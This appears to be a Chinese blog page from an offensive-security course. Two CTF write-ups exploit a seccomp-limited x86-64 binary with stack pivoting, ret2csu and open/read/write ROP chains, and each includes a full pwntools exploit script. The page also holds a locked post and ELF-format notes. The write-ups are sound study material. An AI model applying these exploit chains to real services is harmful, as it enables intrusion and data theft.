ucas-高级网络攻防-实验二-pwn1-栈
题目链接:https://tangzichengcc.github.io/2023/04/04/ucas-高级网络攻防-实验二-pwn1-栈/rop
课上的pwn的练习1,总结来说基础差的太多,一个是漏洞基础,应该先对相应的漏洞的简单题多练一练,深入理解原理,不然后面遇到一点问题就卡住了,另外还是有很多底层的原理,基础知识需要补.
第一章 解题过程描述一. 攻击流程图
二. 详细解题过程1.ida反汇编查看伪代码 可以发现有install_seccomp(argc, argv, envp);函数,说明安装了保护
漏洞点在vuln函数中,存在栈溢出,但只能溢出8字节,显然空间非常需要,需要利用其他技术来布置后续攻击代码
2. seccomp保护 利用工具seccomp-tools查看
123456789101112131415161718root@VM-24-10-ubuntu:/tmp/330# seccomp-tools dump ./rop line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014 0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013 0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013 0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013 0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013 0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013 0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013 0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013 0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5) 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL
这段代码的作用是在64位的x86架构上过滤掉不需要的系统调用,只允许执行一些特定的系统调用。如果系统调用是这些特定的系统调用之一,则允许执行,否则拒绝执行。
具体允许的只有open,read,write,exit及其变种. 并且限制了架构,不能使用其他架构下的系统调用. 那么常用的方法是,构造orw链,利用open read write系统调用来读取和打印flag文件.
3. 寻找gadget3.1 orw123456789101112131415.plt.sec:0000000000401100 _open proc near ; CODE XREF: some_gifts+1D↓p.plt.sec:0000000000401100 endbr64.plt.sec:0000000000401104 bnd jmp cs:off_404040.plt.sec:0000000000401104 _open endp.plt.sec:00000000004010D0 _read proc near ; CODE XREF: vuln+40↓p.plt.sec:00000000004010D0 endbr64.plt.sec:00000000004010D4 bnd jmp cs:off_404028.plt.sec:00000000004010D4 _read endp.plt.sec:00000000004010C0 _write proc near ; CODE XREF: main+88↓p.plt.sec:00000000004010C0 ; main+9E↓p.plt.sec:00000000004010C0 endbr64.plt.sec:00000000004010C4 bnd jmp cs:off_404020.plt.sec:00000000004010C4 _write endp
或者用elf.plt[‘read’]来获取
3.2 gadget amd64-64-little, x64架构下,目前应用的调用约定是fastcal,前三个传参的寄存器是rdi rsi rdx
利用工具ROPgadget寻找可用的gadget,找到了rdi和rsi,未找到rdx,rdx的值并不一定总会影响函数的调用,要根据具体情况而定,在本题中,经过测试是会影响的,在read读取flag的时候,rdx代表着读取的长度,经过调试发现被设置为了0,所以读取的是空的.因此需要找到一个能设置rdx寄存器的gadget,会在后续章节说明.
1234567891011121314151617181920root@VM-24-10-ubuntu:/tmp/330# ROPgadget --binary rop --only 'pop|ret'Gadgets information============================================================0x000000000040147c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040147e : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401480 : pop r14 ; pop r15 ; ret0x0000000000401482 : pop r15 ; ret0x000000000040147b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040147f : pop rbp ; pop r14 ; pop r15 ; ret0x00000000004011fd : pop rbp ; ret0x0000000000401483 : pop rdi ; ret0x0000000000401481 : pop rsi ; pop r15 ; ret0x000000000040147d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a : ret0x0000000000401277 : ret 0x2beUnique gadgets found: 120x0000000000401483 : pop rdi ; ret0x0000000000401481 : pop rsi ; pop r15 ; ret
3.2.1 ret2csu 不同架构的csu代码是不一样的,要根据具体情况而定,就此题的架构而言,csu代码如下
先执行loc_401476里面的代码,进行pop赋值,ret后再执行loc_401460的代码,对传参寄存器进行赋值,然后再利用call 转移控制流
rdi rsi rdx 分别对应着第一次要输入的 r12,r13,r14,call的地址是[r15+rbx*8],可以设置r15为存储跳转地址的地址,rbx为0
设置rbp为1,rbx为0,即可继续往下执行
3.2.2 栈迁移的gadget 由于只能溢出8字节,是不够布置gadget链的,需要扩展栈空间,通常用的手法是进行栈迁移,移动到一个更大的空间去
leave == mov rsp,rbp;pop rbp; ret == pop rip #弹出栈顶数据给rip寄存器
利用两次leave;ret; 即可控制rsp
mov rsp,rbp; //第一个rbp不受我们的控制,但是下面pop的rbp可以被我们更改,从而就可以控制第二个leave里面的rsp pop rbp; mov rsp,rbp; pop rbp; pop rip
1234root@VM-24-10-ubuntu:/home/ubuntu/330# ROPgadget --binary rop --only 'leave|ret'Gadgets information============================================================0x00000000004012a7 : leave ; ret
4. 迁移到bss
只迁移是不够的,同时应该做到在迁移到的新地方布置好rop链,一个想法是,调用vuln()函数中的read,既可以读取0x110的数据,最后也有leave;ret;
123456789.text:0000000000401304 loc_401304: ; CODE XREF: vuln+20↑j.text:0000000000401304 lea rax, [rbp+buf].text:000000000040130B mov edx, 110h ; nbytes.text:0000000000401310 mov rsi, rax ; buf.text:0000000000401313 mov edi, 0 ; fd.text:0000000000401318 call _read.text:000000000040131D nop.text:000000000040131E leave.text:000000000040131F retn
但是这里有一个问题,数据被写入的地方不是rbp,而是rbp-0x100,而经过两次leave;ret;后修改的rsp的值是原始rbp的值,所以还是到达不了rop链的位置,因此,需要第三次的leave;ret;再次修正rsp的位置,这样的话,在第二次leave;ret;的时候,rbp设置为写入地址-0x108,然后第三次leave;ret;就把rsp设置为了rop链的开头
设置成0x108是因为在最后一个leave;ret;的时候,mov rsp,rbp,转移栈成功后,要pop出来rbp然后栈往下移动8字节,这个多的0x8用来抵消pop rbp.
5. 构造ROP链, 实现orw5.1 构造orw12345payload1 = p64(poprdi) + p64("0") + p64(poprsi)+ p64(bssaddr2) +p64(0)+ p64(readaddr)payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)payload1 += p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr2) +p64(0)+ p64(readaddr)payload1 += p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr2) +p64(0) +p64(writeaddr)
四行的用途分别是
从用户标准输入中读取 ./flag 字符,用于后面的open
open ./flag 这个文件,得到文件句柄3
read 读取具柄3,读取到bss区域
write 将flag所在bss区域内容输入到标准输出中
在调试中可以看到,在执行第三行操作,即read时,rdx的值被设置成了0,于是需要设置rdx的gadget
5.2 利用ret2csu构造 read的参数123456789101112131415csu_front_addr = 0x0000000000401460csu_end_addr = 0x000000000040147adef csu(rbx, rbp, r12, r13, r14, r15): # rdi rsi rdx 分别对应着 r12,r13,r14 # call的地址是[r15+rbx*8], 可以设置r15为地址,rbx为0 # r15这个地址存储的数据是要call的函数的地址 payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtemp# r12 + rbx*8 = 0x0004010C0temp = csu(0,1,3,bssaddr2,50,0x0404e24)
要call的地址是[r15+rbx*8], 所以需要找到一个地址,存储着read函数的地址,在尝试利用5.1节第一行payload中存储rop链的中的bss地址中的read地址时发现,后面会被覆盖掉.可以在payload之后,再加上read函数的地址. 计算或者调试出存储其地址的地址.
5.3 利用ret2csu继续构造 write的参数 在上一步时,设置rbx=1,rbp=1,即可以让程序继续往下执行,进入第二轮ret2csu,与5.2中的方法类似,构造write的参数
完整exp见附录
第二章 题目技术点总结一. ORW ORW利用了Linux中的open/read/write系统调用来执行操作,通常在限制了系统调用的时候使用,在ctf中根本目标是获取flag,所以在拿不到系统权限的时候可以通过该中方法进行获取flag.
orw有很多种不同的系统调用可以使用,并且在不同架构下也有不一样的,根据seccomp具体的限制可以使用不同的方法.
需要注意的是,在做题目时,要根据具体的系统版本来寻找系统调用,在最新版本中有可能加入新的可用的系统调用.
二. seccomp seccomp是一种在ctf pwn中常用的安全机制,可用于限制程序对系统调用的访问。通过使用seccomp,可以有效地降低程序受到攻击的风险。
三. ret2csu ret2csu是一种在ctf pwn中常用的技术,可用于在程序没有可用的gadget的情况下构造ROP链。它利用了一个特殊的函数__libc_csu_init来调用函数,并利用程序的堆栈来构造ROP链。
四. 栈迁移 可用于在程序栈空间不足的情况下,通过将栈迁移到bss段、堆等来执行攻击,也可以利用sub rsp等gadget来增加栈的长度.通常使用的是leave;ret;方法,第一次leave;ret;控制rbp,第二次可以控制rsp
第三章 错误处理一. open时出错 bss段给的地址太小,在动态解析的时候,栈会移动到不可写的地方,导致出错,将bss往后移动多一点即可
二. orw(不设置rdx) 本地可以打通,远程不可以 是libc版本的问题,把版本切换到2.27(题目版本)后即可发现,在read时,rdx被设置为了0,因此需要找到能够设置rdx的gadget
参考资料https://blog.csdn.net/qq_34010404/article/details/123809796
https://blog.csdn.net/mcmuyanga/article/details/113389703
https://blog.csdn.net/qq_45691294/article/details/112196127
https://blog.csdn.net/qq_41696518/article/details/126665825
https://blog.csdn.net/qq_41202237/article/details/105913597
https://xz.aliyun.com/t/12189
附录:exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849from pwn import *import time#sh = remote("xxx",xxx)sh = remote("xxxx",52017)#sh = process("./rop")context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x0040131E")bssaddr = 0x0040412C + 0xd00retaddr = 0x0000401304readaddr = 0x0004010D0openaddr = 0x00401100writeaddr = 0x0004010C0csu_front_addr = 0x0000000000401460csu_end_addr = 0x000000000040147adef csu(rbx, rbp, r12, r13, r14, r15): payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtempdef csu2(rbp, r12, r13, r14, r15): payloadtemp = p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtempsh.sendlineafter("choice:",str(4919))payload =b"a"*256 + p64(bssaddr) + p64(retaddr)# 40413csh.send(payload)poprdi = 0x0000401483poprsi = 0x0000401481bssaddr2 = bssaddr + 0x20leave_ret = 0x0040131Epayload1 = p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr2) +p64(0)+ p64(readaddr)payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)temp = csu(0,1,3,bssaddr2,50,0x404e0c)payload1 += temptemp2 = csu(0,1,1,bssaddr2,50,0x404e14)payload1 += temp2 + p64(readaddr) + p64(writeaddr)print("len:",len(payload1))payload1 = payload1.ljust(0x100,b"a")payload1 += p64(bssaddr-0x108) + p64(leave_ret)sh.send(payload1)sh.send("./flag\x00")sh.recv(1024)sh.interactive()
pwn入门-23-pwn-college_Fundamentals_Program_Interaction
297f05f60dc60df7ad3147a64b55ba41ef632e7886bb70583f539f79dc665bd91c6dfb281a95c83b3f586677bfbacee5619cc440a2a39527bc1daaadd221f0a47bac954bf7833a08ccf0244f0c6223062aa0c91627c11d4d7dda024c87510b8fa2a2d65e4ed0e87cccb67cfa9efcd2162588bd631c2cfff823b9dc7239882caba90b3045af0e2877fdbe08ee4114bcf8fc85883a75bd443e78ab3d7eba34a297712270a123b0c88d1a8f2ba71b14184d4ae56dfbadc0ab2ee842dd24ffbdb371d8e96303e33be07ff7c5bff09b924db81840ceca18a668c6466dbcbce33837da8dd9395ec835e2ec5b3bac35f4fedfa8927c9ab34210b69142e5fd6d9b2bee0b4a376bdc7c6e59f8b0052cc7cdb57ab23a8e6329cc868570031411e6492509030f2574b196ddfd93e61b3b887789613a22b4d9c1d8dc37a3c9e8bd7b696f72e11e9a71328eb8304641842ad2d8ea18f87a0413317acb21e00237a48a7db823aa188a8ce2d693b055a0877d5312d3e2e08353b8e84fdf82ab5ff97bff097c3eef561b882de9143ab02a870ac4181db8a4ae522b20066fa69e0efb19d46164b5dbec3558aea1e2dcc3e3102f9df6b4636ef48505a11304363ae0f771ca0a1056625cf7aa7e0acbce7b3d09bf4cd864358fc668240774b1126d92a87cda62e098f9e61d0e1f89e3346231f05a076a65b3805a39d278e2516ade05a5485bf423c3ca1160f8cfc59c41ca7f130bf675a3bbaa15fb87a8277e61bf53bff5c2d1d7c0d1455c4bcb2264f40b38e40fcfca9a04c71380d6c10c614503f2e9ed9574716d3f475408a21460063e650e8fa39276e341c7cfd798202fd76bd79998e1436817ba77f4d63a3c4269c0487ad8ec8bf57bf509c8e0efa8184a3de1af25c4bbdfc6b6f9e9dfe10767e0820cd6de6f361113e6ed50ecdbc2f0943fb2a50584440b56e31364aa430d9015b1e826c0f5ee4c86da9536642fc2d9817f7c71c40b7b8a429eaec480d9d1d5c6c5bbfec678e8f0a4579638462189c75a92ee6347960aad8ef7663dce55bd70fadee82c26fc861ac79731328a16b2f0dc6990cedd25673b794dd443421b87b5079245f08057321ca94d03943efc8a4d9718e602a7ac8a998c3ee5f520a45608aac42b89f1673b762c8ff043b1d9109cf27dd5b48ed1ccaab806ee6c947c9e07778bc9c93ba6e2a00bd4179d8baa6b0b7aaae16aff24e93208cbd2daf875ba9faf4202afe16992e319d61b4217c47cbc1d06cf48893f6fba2fe32f1bad4d20de0387a44aa27913f95209011fa381f39f4abb3f8528dc556939c8fa621f2f40a2fcc28ffe7bbe1aad194680dcd08005928949166f77bfe4383bf0a3de0860eac7da6be4fdc04e2ee6375b7348d2f4a31d56341165746c9e7771e3dc1190811c2d1f48929fa7849de57491f4df273595dcda76ca1fe2e179fe1ad405bae35c36b6fd5882a61d43ea80c8f3fc52fc19d4d0e8e2ba4423286845cb584bb73dea59d938a8389e5268f65814103345c58105d0249dc534fcde471ce4ab1d0daf2e948bc4752b4f28ffae12deee29037a8300263f0fda47c2164aeb8a0311e2938f9cb98db27a0f88d75fb9972d4f85edd70b1bf5db7feb8dd4c1aeb130cf9f1028d0a043c1550734f89ab9ddd007fc99047901218c3930e53ef06c76c5199a6b62a25b0d329bde8c6f7d43319c7f3d59454a104b5e456cb60bd209348f1699a2c6e8cbd783884ea24cc7649476cb7386fa174779a94644dc6c0407ec784a0351fc0139509a2db7843d129533d6a52c458f3d903bd525cdfbcc45c92195407fd35ba6493f8ceb33110ad3963ea25402301dd07c1d5e35419c3e1f7d9bc7c50c0f1505fe1436a379a312616495642905d00b71718b9cdaa2a364d95f58a642054965a4a69a3282d131291f97dcf19139d99cb5e776c10d1c81af98491631e89909483908605fdd036dd069135ea17b37d125dc4028ba2c94b90511be379159ebf9eef389b4700586e7f96869d365552995894eb55e506e0b846d4fc2b4e1873971a7e8aa8c5ff0a0437a6415f177259c855c711e1cd5d0a71da4b26d8f0016b5b41f41c2f9ef7a51b1860f265607ecd9d7b37c74e25599ce3606e952db86
Hey, password is required here.
pwn入门-22-ucas课堂练习rop之orw
题目链接: https://tangzichengcc.github.io/2023/03/17/pwn入门-22-ucas课堂练习rop之orw/rop
课上的一个小练习,理论上应该不难的..但是卡了很久…因为基础不牢+菜
反汇编代码查看12345678910111213141516171819202122232425262728293031323334353637383940414243444546int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+Ch] [rbp-4h] BYREF v3 = -1; install_seccomp(argc, argv, envp); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); puts("Welcome to the Santa's gift!"); puts("your choice:"); __isoc99_scanf("%d", &v3); if ( v3 == 4919 ) { vuln(); } else { if ( v3 != 9011 ) _exit(1); some_gifts(); } _exit(0);}ssize_t vuln(){ char buf[256]; // [rsp+0h] [rbp-100h] BYREF return read(0, buf, 0x150uLL);}ssize_t some_gifts(){ char s[16]; // [rsp+0h] [rbp-1010h] BYREF int fd; // [rsp+100Ch] [rbp-4h] fd = sys_open("./gifts.txt", 0LL); memset(s, 0, 0x1000uLL); if ( read(fd, s, 0x1000uLL) < 0 ) { puts("read error"); _exit(1); } return write(1, s, 0x1000uLL);}
检查安全措施 install_seccomp、
看到这个函数就知道有seccomp保护措施,限制了一些系统调用的使用,于是使用工具进行检查,
123456789101112131415161718root@VM-24-10-ubuntu:/tmp# seccomp-tools dump ./rop line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014 0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013 0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013 0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013 0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013 0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013 0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013 0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013 0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5) 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL
能够看到只允许用open read write这几个,一般来说pwn题是要拿到权限的,但是根本目的是拿到flag,所以即便拿不到shell,也可以利用这几个函数调用来读取和打印flag
解题步骤寻找gadget1234567891011121314151617root@VM-24-10-ubuntu:/tmp# ROPgadget --binary rop --only 'pop|ret' Gadgets information============================================================0x00000000004014fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014fe : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401500 : pop r14 ; pop r15 ; ret0x0000000000401502 : pop r15 ; ret0x00000000004014fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014ff : pop rbp ; pop r14 ; pop r15 ; ret0x000000000040121d : pop rbp ; ret0x0000000000401503 : pop rdi ; ret0x0000000000401501 : pop rsi ; pop r15 ; ret0x00000000004014fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a : ret0x0000000000401297 : ret 0x2beUnique gadgets found: 12
根据调用约定,rdi rsi rdx是函数的前三个参数,但是没有找到pop rdx的gadget. ret2csu方法里是可以间接修改rdx的,不过事实上,这道题不需要管第三个参数,具体原因还未知.
布局函数 这里有一个很重要的问题,就是二进制文件中不存在flag这四个字符,因为后面读取flag,需要用到这个字符串,所以需要先获取这四个字符. 获取之后利用传统的orw来进行打开,读取和写出flag.
open(’文件名‘,0,0)
read(文件描述符,‘文件名’,读取大小) read比较特殊, 第一个文件描述符 0标准输入(从用户输入获取值) 1 标准输出,2标准错误 345..就是文件描述符了,当第一个参数是0的时候,第二个参数就不是文件名了,而是要写入的内存地址
write(1,‘文件名’,写大小)
所以分了四个步骤,如下
read(0,写入的内存地址,0x30)
open(‘flag’,0,0)
read(3,‘flag’,0x30) 从打开的文件中读取
write(1,‘flag’,0x30) 标准输出
编写payload 256溢出+8字节rbp,然后就是返回地址了,构造rop链,下面四行分别对应着上面的四步
poprsi的话,没有单独的 ,只有 0x0000000000401501 : pop rsi ; pop r15 ; ret, 所以在它后面再加一个垃圾数据.上面说过,没有pop rdx,所以我们只需要控制前两个参数即可
1234payload = "a"*264 + p64(poprdi) + p64("0") + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr) payload += p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)payload += p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)payload += p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)
但是这里还有问题,就是payload的长度太长,溢出只有0x150 - 256 - 8 =72字节,是不够用的,所以这里需要再进行调整,有两个办法,一个是可以多次溢出,四步可以分四步来进行,每完成一步,再跳回到vul函数开头,重新溢出执行下一步,第二个办法是进行栈迁移,把栈移到更大的空间去
1234payload = b"a"*264 + p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload1 = b"a"*264+p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)+p64(vuladdr)payload2 = b"a"*264+p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload3 = b"a"*264+p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)+p64(vuladdr)
分四次发送即可,每次在最后跳回vul函数开头
exp1234567891011121314151617181920212223242526272829303132from pwn import *import timesh = remote("xxx",xxx)#sh = process("./rop")context.log_level= "debug"#context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x000004013AE")poprdi = 0x0000000000401503poprsi = 0x0000000000401501popr13 = 0x00000000004014fescanfaddr = 0x0000000000401451bssaddr = 0x0000404100 + 0x100readaddr = 0x000000401100openaddr = 0x00000004012C9writeaddr = 0x000000004010E0start = 0x000401432vuladdr = 0x0000000401384payload = b"a"*264 + p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload1 = b"a"*264+p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)+p64(vuladdr)payload2 = b"a"*264+p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload3 = b"a"*264+p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)+p64(vuladdr)#input()sh.sendlineafter("choice:",str(4919))sh.sendline(payload)sh.send("flag") # 不能用sendline 会有\nsh.sendline(payload1)sh.sendline(payload2)sh.sendline(payload3)sh.recv(1024)sh.interactive()
细节注意open write read函数选择 一开始选的是 .text:0000000000401313 E8 B1 FF FF FF call sys_open ,这肯定是不对的,因为这里的话,控制流到了这里,执行完call没有ret会继续往下执行,就乱套了,
1234567891011121314151617181920.text:000000000040130C lea rdi, aGiftsTxt ; "./gifts.txt".text:0000000000401313 call sys_open.text:0000000000401318 mov [rbp+fd], eax.text:000000000040131B lea rax, [rbp+s].text:0000000000401322 mov edx, 1000h ; n.text:0000000000401327 mov esi, 0 ; c.text:000000000040132C mov rdi, rax ; s.text:000000000040132F call _memset.text:0000000000401334 lea rcx, [rbp+s].text:000000000040133B mov eax, [rbp+fd].text:000000000040133E mov edx, 1000h ; nbytes.text:0000000000401343 mov rsi, rcx ; buf.text:0000000000401346 mov edi, eax ; fd.text:0000000000401348 call _read.text:000000000040134D test rax, rax.text:0000000000401350 jns short loc_401368.text:0000000000401352 lea rdi, aReadError ; "read error".text:0000000000401359 call _puts.text:000000000040135E mov edi, 1 ; status.text:0000000000401363 call __exit
应该调用plt这个,这个调用完之后会ret返回
12345.plt.sec:0000000000401100 _read proc near ; CODE XREF: some_gifts+59↓p.plt.sec:0000000000401100 ; vuln+23↓p.plt.sec:0000000000401100 endbr64.plt.sec:0000000000401104 bnd jmp cs:off_404038.plt.sec:0000000000401104 _read endp
send、sendline sh.send(“flag”) # 不能用sendline 会有\n 第一次read读取flag文件名的时候,不能用sendline,否则会有个回车,就不是正确的文件名了
ucas-软件安全漏洞分析与发现-elf分析与解析实现
一、基础ELF文件 整体架构 elf文件主要分了几部分:头部、程序头、节表头以及各种节.
elf头部中存储了程序头和节表头的位置,节头中又存储了各个节的位置,以此进行索引.
所以可以回答第2个问题的一部分, 这些节(我认为题目应该说的是节的意思, 段和节经常混用) 在ELF中的位置是可以任意调换的,因为在头部中指定了它们的位置,只要索引信息没问题就可以.
链接视图与执行时视图 elf静态文件是链接视图,当加载到内存后,会有些许变化.
在链接视图中,节表是必须的,需要根据它来定位各个节,以及保存节的属性,而程序头表则是可选的,程序头表的内容是加载进内存后的属性(是否可选要看该文件的类型??).
在执行视图中,程序头表是必须的,节表就是可选的了.
在静态文件中,有各种不一样的程序的节(section),比如.text节 .bss节,在加载进内存后,加载器会将相同的节属性(比如只读)合并一个段(segment)
ELF文件头 ehdr 详细内容:https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
结构体定义如下
12345678910111213141516171819202122232425262728293031323334353637#define EI_NIDENT 16typedef struct { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx;} Elf32_Ehdr;typedef struct{ unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf64_Half e_type; /* Object file type */ elf文件类型 Elf64_Half e_machine; /* Architecture */ CPU架构 Elf64_Word e_version; /* Object file version */ 指定ELF版本,一般都为1 Elf64_Addr e_entry; /* Entry point virtual address */ 代码运行的入口 Elf64_Off e_phoff; /* Program header table file offset */ 程序头表在文件中的偏移 Elf64_Off e_shoff; /* Section header table file offset */ 节头表在文件中的偏移 Elf64_Word e_flags; /* Processor-specific flags */ 在e_machine指定的处理器下的一些特性 Elf64_Half e_ehsize; /* ELF header size in bytes */ Elf64_Half e_phentsize; /* Program header table entry size */ 程序头表每个条目的大小 Elf64_Half e_phnum; /* Program header table entry count */ 程序头表中条目的树木 Elf64_Half e_shentsize; /* Section header table entry size */ 节头表每个条目的大小 Elf64_Half e_shnum; /* Section header table entry count */ 节头表中条目的数量 Elf64_Half e_shstrndx; /* Section header string table index */ 每个节都有一个名称,这些名称存储在.shstrtab节中,e_shstrndx指定这个特殊的节所在节头表的下表} Elf64_Ehdr;
可以用010editor加载插件后清晰的看到结构(需要在templates里面安装和加载一下elf模版)
e_ident 一个16字节大小的数组
这个下标范围标错了吧….
ELF节表头 shdr e_shoff是 0x19a8(小端)
可以看到0x19a8开始,存储的是各个节的内容
结构如下
1234567891011121314151617181920212223242526272829/* Section header. */ typedef struct{ Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */} Elf32_Shdr; typedef struct{ Elf64_Word sh_name; /* Section name (string tbl index) */ 名称,值是在string表的索引 Elf64_Word sh_type; /* Section type */ Elf64_Xword sh_flags; /* Section flags */ 标记属性 读写执行 Elf64_Addr sh_addr; /* Section virtual addr at execution */ 虚拟地址 Elf64_Off sh_offset; /* Section file offset */ 在文件中的偏移 Elf64_Xword sh_size; /* Section size in bytes */ 大小 Elf64_Word sh_link; /* Link to another section */ Elf64_Word sh_info; /* Additional section information */ Elf64_Xword sh_addralign; /* Section alignment */ Elf64_Xword sh_entsize; /* Entry size if section holds table */} Elf64_Shdr;
sh_name 这里存储的是节名的下标,节名实际存在于.shstrtab中,这里存的是在shstrtab中的下标.
节 section.text节 保存了程序代码指令的代码节. 一段可执行程序如果存在Phdr, .text字节就会存在于text段中(如果不存在呢??)
.rodata节 保存只读数据,如一行c语言代码中的字符串 printf(“hello world\n”); 因为是只读,所以也放到了text段
.data节 保存了初始的全局变量等数据.存在于data段
.bss节 保存了未进行初始化的全局数据,存在于data段.
.plt 包含了动态链接器调用从共享库导入的函数所必需的相关代码. 存在于text段中,同样保存了代码.
.got 保存了全局偏移表.这个存的是变量
.got.plt 这个存的是函数引用
.dynsym 保存了从共享库导入的动态符号信息,该节保存在text段中
.dynstr 保存了动态符号字符串表,表中存放了一系列字符串,这些字符串表示符号的名称,以空字符00作为终止符
ELF程序头 phdr (segment段) 程序头中描述了可执行文件的段信息,即程序如何加载到内存以及内存中的布局.
程序头可以通过elf文件头的e_phoff(程序头表偏移量)字段来得到位置
它主要有5种类型
123456789101112131415161718192021222324/* Program segment header. */ typedef struct{ Elf32_Word p_type; /* Segment type */ Elf32_Off p_offset; /* Segment file offset */ Elf32_Addr p_vaddr; /* Segment virtual address */ Elf32_Addr p_paddr; /* Segment physical address */ Elf32_Word p_filesz; /* Segment size in file */ Elf32_Word p_memsz; /* Segment size in memory */ Elf32_Word p_flags; /* Segment flags , I.E execute|read|write */ Elf32_Word p_align; /* Segment alignment */} Elf32_Phdr;typedef struct { Elf64_Word p_type; //类型 Elf64_Word p_flags; // 读写执行权限 Elf64_Off p_offset; //文件中的偏移 Elf64_Addr p_vaddr; //虚拟地址 Elf64_Addr p_paddr; //物理地址 Elf64_Xword p_filesz; //在文件中的大小 Elf64_Xword p_memsz; //在内存中的大小 Elf64_Xword p_align; //} Elf64_Phdr;
PT_LOAD 一个可执行文件至少有一个该类型的段.PT_LOAD表述的是可装载的段,这种类型的段会被装载或者映射到内存中,
编译器如何对节段进行组织安排 这里所说的是编译环节,从源代码到二进制文件.
ELF装载过程 这里是指把二进制文件加载进内存的过程
